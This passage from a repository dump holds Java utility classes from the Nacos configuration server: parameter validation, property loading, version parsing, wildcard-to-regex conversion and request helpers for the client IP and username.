    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.springframework.http.HttpStatus;\n\nimport java.util.Map;\n\n/**\n * Parameter validity check util.\n *\n * @author Nacos\n */\npublic class ParamUtils {\n    \n    private static char[] validChars = new char[] {'_', '-', '.', ':'};\n    \n    private static final int TAG_MAX_LEN = 16;\n    \n    private static final int TENANT_MAX_LEN = 128;\n    \n    private static final String CONFIG_TAGS = \"config_tags\";\n    \n    private static final String DESC = \"desc\";\n    \n    private static final String USE = \"use\";\n    \n    private static final String EFFECT = \"effect\";\n    \n    private static final String TYPE = \"type\";\n    \n    private static final String SCHEMA = \"schema\";\n    \n    private static final String ENCRYPTED_DATA_KEY = \"encryptedDataKey\";\n    \n    /**\n     * Whitelist checks that valid parameters can only contain letters, Numbers, and characters in validChars, and\n     * cannot be empty.\n     */\n    public static boolean isValid(String param) {\n        if (param == null) {\n            return false;\n        }\n        int length = param.length();\n        for (int i = 0; i < length; i++) {\n            char ch = param.charAt(i);\n            if (!Character.isLetterOrDigit(ch) && !isValidChar(ch)) {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    private static boolean isValidChar(char ch) {\n        for (char c : validChars) {\n            if (c == ch) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n    /**\n     * Check the parameter for [v1] and [v2].\n     */\n    public static void checkParam(String dataId, String group, String datumId, String content) throws NacosException {\n        if (StringUtils.isBlank(dataId) || !isValid(dataId.trim())) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"invalid dataId : \" + dataId);\n        } else if (StringUtils.isBlank(group) || !isValid(group)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"invalid group : \" + group);\n        } else if (StringUtils.isBlank(datumId) || !isValid(datumId)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"invalid datumId : \" + datumId);\n        } else if (StringUtils.isBlank(content)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"content is blank : \" + content);\n        } else if (content.length() > PropertyUtil.getMaxContent()) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"invalid content, over \" + PropertyUtil.getMaxContent());\n        }\n    }\n    \n    /**\n     * Check Config basic Parameters.\n     *\n     * @param dataId data Id\n     * @param group  group name\n     * @param namespaceId namespace Id\n     */\n    public static void checkParam(String dataId, String group, String namespaceId) throws NacosApiException {\n        if (StringUtils.isBlank(dataId) || !isValid(dataId.trim())) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"invalid dataId : \" + dataId);\n        }\n        if (StringUtils.isBlank(group) || !isValid(group)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"invalid group : \" + group);\n        }\n        checkTenantV2(namespaceId);\n    }\n    \n    /**\n     * Check the tag for [v1].\n     */\n    public static void checkParam(String tag) {\n        if (StringUtils.isNotBlank(tag)) {\n            if (!isValid(tag.trim())) {\n                throw new IllegalArgumentException(\"invalid tag : \" + tag);\n            }\n            if (tag.length() > TAG_MAX_LEN) {\n                throw new IllegalArgumentException(\"too long tag, over 16\");\n            }\n        }\n    }\n    \n    /**\n     * Check the config info for [v1] and [v2].\n     */\n    public static void checkParam(Map<String, Object> configAdvanceInfo) throws NacosException {\n        for (Map.Entry<String, Object> configAdvanceInfoTmp : configAdvanceInfo.entrySet()) {\n            if (CONFIG_TAGS.equals(configAdvanceInfoTmp.getKey())) {\n                if (configAdvanceInfoTmp.getValue() != null) {\n                    String[] tagArr = ((String) configAdvanceInfoTmp.getValue()).split(\",\");\n                    if (tagArr.length > 5) {\n                        throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                                \"too much config_tags, over 5\");\n                    }\n                    for (String tag : tagArr) {\n                        if (tag.length() > 64) {\n                            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(),\n                                    ErrorCode.PARAMETER_VALIDATE_ERROR, \"too long tag, over 64\");\n                        }\n                    }\n                }\n            } else if (DESC.equals(configAdvanceInfoTmp.getKey())) {\n                if (configAdvanceInfoTmp.getValue() != null\n                        && ((String) configAdvanceInfoTmp.getValue()).length() > 128) {\n                    throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                            \"too long desc, over 128\");\n                }\n            } else if (USE.equals(configAdvanceInfoTmp.getKey())) {\n                if (configAdvanceInfoTmp.getValue() != null\n                        && ((String) configAdvanceInfoTmp.getValue()).length() > 32) {\n                    throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                            \"too long use, over 32\");\n                }\n            } else if (EFFECT.equals(configAdvanceInfoTmp.getKey())) {\n                if (configAdvanceInfoTmp.getValue() != null\n                        && ((String) configAdvanceInfoTmp.getValue()).length() > 32) {\n                    throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                            \"too long effect, over 32\");\n                }\n            } else if (TYPE.equals(configAdvanceInfoTmp.getKey())) {\n                if (configAdvanceInfoTmp.getValue() != null\n                        && ((String) configAdvanceInfoTmp.getValue()).length() > 32) {\n                    throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                            \"too long type, over 32\");\n                }\n            } else if (SCHEMA.equals(configAdvanceInfoTmp.getKey())) {\n                if (configAdvanceInfoTmp.getValue() != null\n                        && ((String) configAdvanceInfoTmp.getValue()).length() > 32768) {\n                    throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                            \"too long schema, over 32768\");\n                }\n            } else if (ENCRYPTED_DATA_KEY.equals(configAdvanceInfoTmp.getKey())) {\n                // No verification required\n            } else {\n                throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"invalid param\");\n            }\n        }\n    }\n    \n    /**\n     * Check the tag for [v2].\n     */\n    public static void checkParamV2(String tag) throws NacosApiException {\n        if (StringUtils.isNotBlank(tag)) {\n            if (!isValid(tag.trim())) {\n                throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"invalid tag : \" + tag);\n            }\n            if (tag.length() > TAG_MAX_LEN) {\n                throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"too long tag, over 16\");\n            }\n        }\n    }\n    \n    /**\n     * Check the tenant for [v1].\n     */\n    public static void checkTenant(String tenant) {\n        if (StringUtils.isNotBlank(tenant)) {\n            if (!isValid(tenant.trim())) {\n                throw new IllegalArgumentException(\"invalid tenant\");\n            }\n            if (tenant.length() > TENANT_MAX_LEN) {\n                throw new IllegalArgumentException(\"too long tenant, over 128\");\n            }\n        }\n    }\n    \n    /**\n     * Check the namespaceId for [v2].\n     */\n    public static void checkTenantV2(String namespaceId) throws NacosApiException {\n        if (StringUtils.isNotBlank(namespaceId)) {\n            if (!isValid(namespaceId.trim())) {\n                throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"invalid namespaceId\");\n            }\n            if (namespaceId.length() > TENANT_MAX_LEN) {\n                throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"too long namespaceId, over 128\");\n            }\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/PropertyUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.constant.PropertiesConstant;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.slf4j.Logger;\nimport org.springframework.context.ApplicationContextInitializer;\nimport org.springframework.context.ConfigurableApplicationContext;\n\nimport java.io.BufferedReader;\nimport java.io.File;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.Files;\nimport java.io.IOException;\nimport java.util.Optional;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.FATAL_LOG;\n\n/**\n * Properties util.\n *\n * @author Nacos\n */\npublic class PropertyUtil implements ApplicationContextInitializer<ConfigurableApplicationContext> {\n    \n    private static final Logger LOGGER = LogUtil.DEFAULT_LOG;\n    \n    private static int notifyConnectTimeout = 100;\n    \n    private static int notifySocketTimeout = 200;\n    \n    private static int maxHealthCheckFailCount = 12;\n    \n    private static boolean isHealthCheck = true;\n    \n    private static int maxContent = 10 * 1024 * 1024;\n    \n    /**\n     * Whether to enable capacity management.\n     */\n    private static boolean isManageCapacity = true;\n    \n    /**\n     * gray compatible model.\n     */\n    private static boolean grayCompatibleModel = true;\n    \n    public static final ThreadLocal<Boolean> GRAY_MIGRATE_FLAG = ThreadLocal.withInitial(() -> false);\n    \n    public static final ThreadLocal<Boolean> CONFIG_MIGRATE_FLAG = ThreadLocal.withInitial(() -> false);\n    \n    /**\n     * Whether to enable the limit check function of capacity management, including the upper limit of configuration\n     * number, configuration content size limit, etc.\n     */\n    private static boolean isCapacityLimitCheck = false;\n    \n    /**\n     * The default cluster capacity limit.\n     */\n    private static int defaultClusterQuota = 100000;\n    \n    /**\n     * the default capacity limit per Group.\n     */\n    private static int defaultGroupQuota = 200;\n    \n    /**\n     * The default capacity limit per Tenant.\n     */\n    private static int defaultTenantQuota = 200;\n    \n    /**\n     * The maximum size of the content in the configuration of a single, unit for bytes.\n     */\n    private static int defaultMaxSize = 100 * 1024;\n    \n    /**\n     * The default Maximum number of aggregated data.\n     */\n    private static int defaultMaxAggrCount = 10000;\n    \n    /**\n     * The maximum size of content in a single subconfiguration of aggregated data.\n     */\n    private static int defaultMaxAggrSize = 1024;\n    \n    /**\n     * Initialize the expansion percentage of capacity has reached the limit.\n     */\n    private static int initialExpansionPercent = 100;\n    \n    /**\n     * Fixed capacity information table usage (usage) time interval, the unit is in seconds.\n     */\n    private static int correctUsageDelay = 10 * 60;\n    \n    private static boolean dumpChangeOn = true;\n    \n    /**\n     * The number of days to retain the configuration history, the default is 30 days.\n     */\n    private static int configRententionDays = 30;\n    \n    /**\n     * dumpChangeWorkerInterval, default 30 seconds.\n     */\n    private static long dumpChangeWorkerInterval = 30 * 1000L;\n    \n    public static boolean isDumpChangeOn() {\n        return dumpChangeOn;\n    }\n    \n    public static void setDumpChangeOn(boolean dumpChangeOn) {\n        PropertyUtil.dumpChangeOn = dumpChangeOn;\n    }\n    \n    public static long getDumpChangeWorkerInterval() {\n        return dumpChangeWorkerInterval;\n    }\n    \n    public static void setDumpChangeWorkerInterval(long dumpChangeWorkerInterval) {\n        PropertyUtil.dumpChangeWorkerInterval = dumpChangeWorkerInterval;\n    }\n    \n    public static int getNotifyConnectTimeout() {\n        return notifyConnectTimeout;\n    }\n    \n    public static void setNotifyConnectTimeout(int notifyConnectTimeout) {\n        PropertyUtil.notifyConnectTimeout = notifyConnectTimeout;\n    }\n    \n    public static int getNotifySocketTimeout() {\n        return notifySocketTimeout;\n    }\n    \n    public static void setNotifySocketTimeout(int notifySocketTimeout) {\n        PropertyUtil.notifySocketTimeout = notifySocketTimeout;\n    }\n    \n    public static int getMaxHealthCheckFailCount() {\n        return maxHealthCheckFailCount;\n    }\n    \n    public static void setMaxHealthCheckFailCount(int maxHealthCheckFailCount) {\n        PropertyUtil.maxHealthCheckFailCount = maxHealthCheckFailCount;\n    }\n    \n    public static boolean isHealthCheck() {\n        return isHealthCheck;\n    }\n    \n    public static void setHealthCheck(boolean isHealthCheck) {\n        PropertyUtil.isHealthCheck = isHealthCheck;\n    }\n    \n    public static int getMaxContent() {\n        return maxContent;\n    }\n    \n    public static void setMaxContent(int maxContent) {\n        PropertyUtil.maxContent = maxContent;\n    }\n    \n    public static boolean isManageCapacity() {\n        return isManageCapacity;\n    }\n    \n    public static void setManageCapacity(boolean isManageCapacity) {\n        PropertyUtil.isManageCapacity = isManageCapacity;\n    }\n    \n    public static int getDefaultClusterQuota() {\n        return defaultClusterQuota;\n    }\n    \n    public static void setDefaultClusterQuota(int defaultClusterQuota) {\n        PropertyUtil.defaultClusterQuota = defaultClusterQuota;\n    }\n    \n    public static boolean isCapacityLimitCheck() {\n        return isCapacityLimitCheck;\n    }\n    \n    public static void setCapacityLimitCheck(boolean isCapacityLimitCheck) {\n        PropertyUtil.isCapacityLimitCheck = isCapacityLimitCheck;\n    }\n    \n    public static int getDefaultGroupQuota() {\n        return defaultGroupQuota;\n    }\n    \n    public static void setDefaultGroupQuota(int defaultGroupQuota) {\n        PropertyUtil.defaultGroupQuota = defaultGroupQuota;\n    }\n    \n    public static int getDefaultTenantQuota() {\n        return defaultTenantQuota;\n    }\n    \n    public static void setDefaultTenantQuota(int defaultTenantQuota) {\n        PropertyUtil.defaultTenantQuota = defaultTenantQuota;\n    }\n    \n    public static int getInitialExpansionPercent() {\n        return initialExpansionPercent;\n    }\n    \n    public static void setInitialExpansionPercent(int initialExpansionPercent) {\n        PropertyUtil.initialExpansionPercent = initialExpansionPercent;\n    }\n    \n    public static int getDefaultMaxSize() {\n        return defaultMaxSize;\n    }\n    \n    public static void setDefaultMaxSize(int defaultMaxSize) {\n        PropertyUtil.defaultMaxSize = defaultMaxSize;\n    }\n    \n    public static int getDefaultMaxAggrCount() {\n        return defaultMaxAggrCount;\n    }\n    \n    public static void setDefaultMaxAggrCount(int defaultMaxAggrCount) {\n        PropertyUtil.defaultMaxAggrCount = defaultMaxAggrCount;\n    }\n    \n    /**\n     * control whether persist beta and tag to old model.\n     *\n     * @return\n     */\n    public static boolean isGrayCompatibleModel() {\n        return grayCompatibleModel;\n    }\n    \n    public static void setGrayCompatibleModel(boolean grayCompatibleModel) {\n        PropertyUtil.grayCompatibleModel = grayCompatibleModel;\n    }\n    \n    public static int getDefaultMaxAggrSize() {\n        return defaultMaxAggrSize;\n    }\n    \n    public static void setDefaultMaxAggrSize(int defaultMaxAggrSize) {\n        PropertyUtil.defaultMaxAggrSize = defaultMaxAggrSize;\n    }\n    \n    public static int getCorrectUsageDelay() {\n        return correctUsageDelay;\n    }\n    \n    public static void setCorrectUsageDelay(int correctUsageDelay) {\n        PropertyUtil.correctUsageDelay = correctUsageDelay;\n    }\n    \n    public static int getConfigRententionDays() {\n        return configRententionDays;\n    }\n    \n    private void setConfigRententionDays() {\n        String val = getProperty(PropertiesConstant.CONFIG_RENTENTION_DAYS);\n        if (null != val) {\n            int tmp = 0;\n            try {\n                tmp = Integer.parseInt(val);\n                if (tmp > 0) {\n                    PropertyUtil.configRententionDays = tmp;\n                }\n            } catch (NumberFormatException nfe) {\n                FATAL_LOG.error(\"read nacos.config.retention.days wrong\", nfe);\n            }\n        }\n    }\n    \n    public static boolean isStandaloneMode() {\n        return EnvUtil.getStandaloneMode();\n    }\n    \n    private void loadSetting() {\n        try {\n            setNotifyConnectTimeout(Integer.parseInt(EnvUtil.getProperty(PropertiesConstant.NOTIFY_CONNECT_TIMEOUT,\n                    String.valueOf(notifyConnectTimeout))));\n            LOGGER.info(\"notifyConnectTimeout:{}\", notifyConnectTimeout);\n            setNotifySocketTimeout(Integer.parseInt(EnvUtil.getProperty(PropertiesConstant.NOTIFY_SOCKET_TIMEOUT,\n                    String.valueOf(notifySocketTimeout))));\n            LOGGER.info(\"notifySocketTimeout:{}\", notifySocketTimeout);\n            setHealthCheck(Boolean.parseBoolean(\n                    EnvUtil.getProperty(PropertiesConstant.IS_HEALTH_CHECK, String.valueOf(isHealthCheck))));\n            LOGGER.info(\"isHealthCheck:{}\", isHealthCheck);\n            setMaxHealthCheckFailCount(Integer.parseInt(\n                    EnvUtil.getProperty(PropertiesConstant.MAX_HEALTH_CHECK_FAIL_COUNT,\n                            String.valueOf(maxHealthCheckFailCount))));\n            LOGGER.info(\"maxHealthCheckFailCount:{}\", maxHealthCheckFailCount);\n            setMaxContent(\n                    Integer.parseInt(EnvUtil.getProperty(PropertiesConstant.MAX_CONTENT, String.valueOf(maxContent))));\n            LOGGER.info(\"maxContent:{}\", maxContent);\n            // capacity management\n            setManageCapacity(getBoolean(PropertiesConstant.IS_MANAGE_CAPACITY, isManageCapacity));\n            setCapacityLimitCheck(getBoolean(PropertiesConstant.IS_CAPACITY_LIMIT_CHECK, isCapacityLimitCheck));\n            setDefaultClusterQuota(getInt(PropertiesConstant.DEFAULT_CLUSTER_QUOTA, defaultClusterQuota));\n            setDefaultGroupQuota(getInt(PropertiesConstant.DEFAULT_GROUP_QUOTA, defaultGroupQuota));\n            setDefaultTenantQuota(getInt(PropertiesConstant.DEFAULT_TENANT_QUOTA, defaultTenantQuota));\n            setDefaultMaxSize(getInt(PropertiesConstant.DEFAULT_MAX_SIZE, defaultMaxSize));\n            setDefaultMaxAggrCount(getInt(PropertiesConstant.DEFAULT_MAX_AGGR_COUNT, defaultMaxAggrCount));\n            setDefaultMaxAggrSize(getInt(PropertiesConstant.DEFAULT_MAX_AGGR_SIZE, defaultMaxAggrSize));\n            setCorrectUsageDelay(getInt(PropertiesConstant.CORRECT_USAGE_DELAY, correctUsageDelay));\n            setInitialExpansionPercent(getInt(PropertiesConstant.INITIAL_EXPANSION_PERCENT, initialExpansionPercent));\n            setConfigRententionDays();\n            setDumpChangeOn(getBoolean(PropertiesConstant.DUMP_CHANGE_ON, dumpChangeOn));\n            setDumpChangeWorkerInterval(\n                    getLong(PropertiesConstant.DUMP_CHANGE_WORKER_INTERVAL, dumpChangeWorkerInterval));\n            setGrayCompatibleModel(getBoolean(PropertiesConstant.GRAY_CAPATIBEL_MODEL, grayCompatibleModel));\n            \n        } catch (Exception e) {\n            LOGGER.error(\"read application.properties failed\", e);\n            throw e;\n        }\n    }\n    \n    private boolean getBoolean(String key, boolean defaultValue) {\n        return Boolean.parseBoolean(getString(key, String.valueOf(defaultValue)));\n    }\n    \n    private int getInt(String key, int defaultValue) {\n        return Integer.parseInt(getString(key, String.valueOf(defaultValue)));\n    }\n    \n    private long getLong(String key, long defaultValue) {\n        return Long.parseLong(getString(key, String.valueOf(defaultValue)));\n    }\n    \n    private String getString(String key, String defaultValue) {\n        String value = getProperty(key);\n        if (value == null) {\n            return defaultValue;\n        }\n        LOGGER.info(\"{}:{}\", key, value);\n        return value;\n    }\n    \n    public String getProperty(String key) {\n        return EnvUtil.getProperty(key);\n    }\n    \n    public String getProperty(String key, String defaultValue) {\n        return EnvUtil.getProperty(key, defaultValue);\n    }\n    \n    @Override\n    public void initialize(ConfigurableApplicationContext configurableApplicationContext) {\n        loadSetting();\n    }\n    \n    private static final int MAX_DUMP_PAGE = 1000;\n    \n    private static final int MIN_DUMP_PAGE = 50;\n    \n    private static final int PAGE_MEMORY_DIVIDE_MB = 512;\n    \n    private static AtomicInteger allDumpPageSize;\n    \n    public static int getAllDumpPageSize() {\n        if (allDumpPageSize == null) {\n            allDumpPageSize = new AtomicInteger(initAllDumpPageSize());\n        }\n        return allDumpPageSize.get();\n    }\n    \n    static int initAllDumpPageSize() {\n        long memLimitMb = getMemLimitMb();\n        \n        //512MB->50 Page Size\n        int pageSize = (int) ((float) memLimitMb / PAGE_MEMORY_DIVIDE_MB) * MIN_DUMP_PAGE;\n        pageSize = Math.max(pageSize, MIN_DUMP_PAGE);\n        pageSize = Math.min(pageSize, MAX_DUMP_PAGE);\n        LOGGER.info(\"All dump page size is set to {} according to mem limit {} MB\", pageSize, memLimitMb);\n        return pageSize;\n    }\n    \n    public static long getMemLimitMb() {\n        Optional<Long> memoryLimit = findMemoryLimitFromFile();\n        if (memoryLimit.isPresent()) {\n            return memoryLimit.get();\n        }\n        memoryLimit = findMemoryLimitFromSystem();\n        return memoryLimit.get();\n    }\n    \n    private static String limitMemoryFile;\n    \n    private static Optional<Long> findMemoryLimitFromFile() {\n        if (limitMemoryFile == null) {\n            limitMemoryFile = EnvUtil.getProperty(\"memory_limit_file_path\",\n                    \"/sys/fs/cgroup/memory/memory.limit_in_bytes\");\n        }\n        File file = new File(limitMemoryFile);\n        try (BufferedReader reader = Files.newBufferedReader(file.toPath(), StandardCharsets.UTF_8)) {\n            long memoryLimit = Long.parseLong(reader.readLine().trim());\n            return Optional.of(memoryLimit / 1024L / 1024L);\n        } catch (IOException | NumberFormatException ignored) {\n            return Optional.empty();\n        }\n    }\n    \n    private static Optional<Long> findMemoryLimitFromSystem() {\n        long maxHeapSizeMb = Runtime.getRuntime().maxMemory() / 1024L / 1024L;\n        return Optional.of(maxHeapSizeMb);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/Protocol.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\n/**\n * Used to handle protocol-related operations.\n *\n * @author zhidao\n * @version 1.0 2011/05/03\n */\npublic class Protocol {\n    \n    /**\n     * fix the version number like 2.0.4(fix the version template like major.minor.bug-fix)\n     *\n     * @param version version\n     * @return version.\n     */\n    public static int getVersionNumber(String version) {\n        if (version == null) {\n            return -1;\n        }\n        String[] vs = version.split(\"\\\\.\");\n        int sum = 0;\n        for (int i = 0; i < vs.length; i++) {\n            try {\n                sum = sum * 10 + Integer.parseInt(vs[i]);\n            } catch (Exception e) {\n                // ignore\n            }\n        }\n        return sum;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/RegexParser.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\n/**\n * Generic classes for wildcard characters, decisions, and standard canonical transformations that can be supported by\n * ConfigCenter.\n *\n * @author tianhu E-mail:\n */\npublic class RegexParser {\n    \n    private static final char QUESTION_MARK = '?';\n    \n    /**\n     * Replace input string non-regular special characters with standard regular expression strings; Replace '*' with\n     * '.* '? 'is replaced by '{n}', n is the number of consecutive ?; Other special characters that are not alphabetic\n     * or numeric are preceded by '\\'.\n     *\n     * @param regex  The expression to be formatted\n     * @return format content.\n     */\n    public static String regexFormat(String regex) {\n        if (regex == null) {\n            throw new NullPointerException(\"regex string can't be null\");\n        }\n        StringBuilder result = new StringBuilder();\n        result.append('^');\n        for (int i = 0; i < regex.length(); i++) {\n            char ch = regex.charAt(i);\n            if (isAsciiAlphanumeric(ch)) {\n                result.append(ch);\n            } else if (ch == '*') {\n                result.append(\".*\");\n            } else if (ch == QUESTION_MARK) {\n                int j = 0;\n                for (; j < regex.length() - i && ch == QUESTION_MARK; j++) {\n                    ch = regex.charAt(i + j);\n                }\n                if (j == regex.length() - i) {\n                    result.append(\".{\" + j + \"}\");\n                    break;\n                } else {\n                    j -= 1;\n                    result.append(\".{\" + (j) + \"}\");\n                    i += j - 1;\n                }\n            } else {\n                result.append(\"\\\\\" + ch);\n            }\n        }\n        result.append('$');\n        return result.toString();\n    }\n    \n    public static boolean containsWildcard(String regex) {\n        return (regex.contains(\"?\") || regex.contains(\"*\"));\n    }\n    \n    private static Boolean isAsciiAlphanumeric(final char ch) {\n        return  isAsciiAlphaUpper(ch) || isAsciiAlphaLower(ch) || isAsciiNumeric(ch);\n    }\n    \n    private static Boolean isAsciiNumeric(final char ch) {\n        return ch >= '0' && ch <= '9';\n    }\n    \n    private static Boolean isAsciiAlphaUpper(final char ch) {\n        return ch >= 'A' && ch <= 'Z';\n    }\n    \n    private static Boolean isAsciiAlphaLower(final char ch) {\n        return ch >= 'a' && ch <= 'z';\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/RequestUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.context.RequestContextHolder;\nimport com.alibaba.nacos.core.utils.WebUtils;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\n\nimport jakarta.servlet.http.HttpServletRequest;\n\n/**\n * Request util.\n *\n * @author Nacos\n */\npublic class RequestUtil {\n    \n    public static final String CLIENT_APPNAME_HEADER = \"Client-AppName\";\n    \n    /**\n     * Get real client ip from context first, if no value, use\n     * {@link com.alibaba.nacos.core.utils.WebUtils#getRemoteIp(HttpServletRequest)}.\n     *\n     * @param request {@link HttpServletRequest}\n     * @return remote ip address.\n     */\n    public static String getRemoteIp(HttpServletRequest request) {\n        String remoteIp = RequestContextHolder.getContext().getBasicContext().getAddressContext().getSourceIp();\n        if (StringUtils.isBlank(remoteIp)) {\n            remoteIp = RequestContextHolder.getContext().getBasicContext().getAddressContext().getRemoteIp();\n        }\n        if (StringUtils.isBlank(remoteIp)) {\n            remoteIp = WebUtils.getRemoteIp(request);\n        }\n        return remoteIp;\n    }\n    \n    /**\n     * Gets the name of the client application in the header.\n     *\n     * @param request {@link HttpServletRequest}\n     * @return may be return null\n     */\n    public static String getAppName(HttpServletRequest request) {\n        String result = RequestContextHolder.getContext().getBasicContext().getApp();\n        return isUnknownApp(result) ? request.getHeader(CLIENT_APPNAME_HEADER) : result;\n    }\n    \n    private static boolean isUnknownApp(String appName) {\n        return StringUtils.isBlank(appName) || StringUtils.equalsIgnoreCase(\"unknown\", appName);\n    }\n    \n    /**\n     * Gets the username of the client application in the Attribute.\n     *\n     * @param request {@link HttpServletRequest}\n     * @return may be return null\n     */\n    public static String getSrcUserName(HttpServletRequest request) {\n        IdentityContext identityContext = RequestContextHolder.getContext().getAuthContext().getIdentityContext();\n        String result = StringUtils.EMPTY;\n        if (null != identityContext) {\n            result = (String) identityContext.getParameter(\n                    com.alibaba.nacos.plugin.auth.constant.Constants.Identity.IDENTITY_ID);\n        }\n        // If auth is disabled, get username from parameters by agreed key\n        return StringUtils.isBlank(result) ? request.getParameter(Constants.USERNAME) : result;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/ResponseUtil.java",
